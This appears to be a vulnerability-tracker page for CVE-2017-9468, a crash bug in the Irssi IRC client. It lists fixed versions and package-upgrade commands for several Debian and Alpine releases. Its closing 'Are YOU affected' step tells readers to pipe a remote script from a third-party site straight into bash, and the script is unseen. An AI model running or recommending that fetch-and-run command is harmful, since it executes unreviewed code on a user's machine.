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CVE-2017-9468 · cross-distro fix matrix

CVE-2017-9468: In Irssi before 1.0.3, when receiving a DCC message without source nick/host, it attempts to dereference a NULL pointer. Thus, remote IRC servers can cause a crash.

Affects 8 Linux releases across 8 (distro × package) combinations.

Fix per ecosystem

Each block below is a distro release where CVE-2017-9468 has a known fix. Run the listed command on that distro to remediate.

Debian bullseye

Source: Debian Security Tracker

  • irssi→ fixed in1.0.3-1urgency: not yet assigned
    sudo apt-get install --only-upgrade -y irssi

Debian bookworm

Source: Debian Security Tracker

  • irssi→ fixed in1.0.3-1urgency: not yet assigned
    sudo apt-get install --only-upgrade -y irssi

Debian trixie

Source: Debian Security Tracker

  • irssi→ fixed in1.0.3-1urgency: not yet assigned
    sudo apt-get install --only-upgrade -y irssi

Alpine v3.20

Source: Alpine secdb

  • irssi→ fixed in1.0.3-r0
    apk update && apk add --upgrade irssi

Alpine v3.21

Source: Alpine secdb

  • irssi→ fixed in1.0.3-r0
    apk update && apk add --upgrade irssi

Alpine edge

Source: Alpine secdb

  • irssi→ fixed in1.0.3-r0
    apk update && apk add --upgrade irssi

Alpine v3.18

Source: Alpine secdb

  • irssi→ fixed in1.0.3-r0
    apk update && apk add --upgrade irssi

Alpine v3.19

Source: Alpine secdb

  • irssi→ fixed in1.0.3-r0
    apk update && apk add --upgrade irssi
Are YOU affected by CVE-2017-9468?

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curl https://mindsparkstack.com/scan.sh | bash
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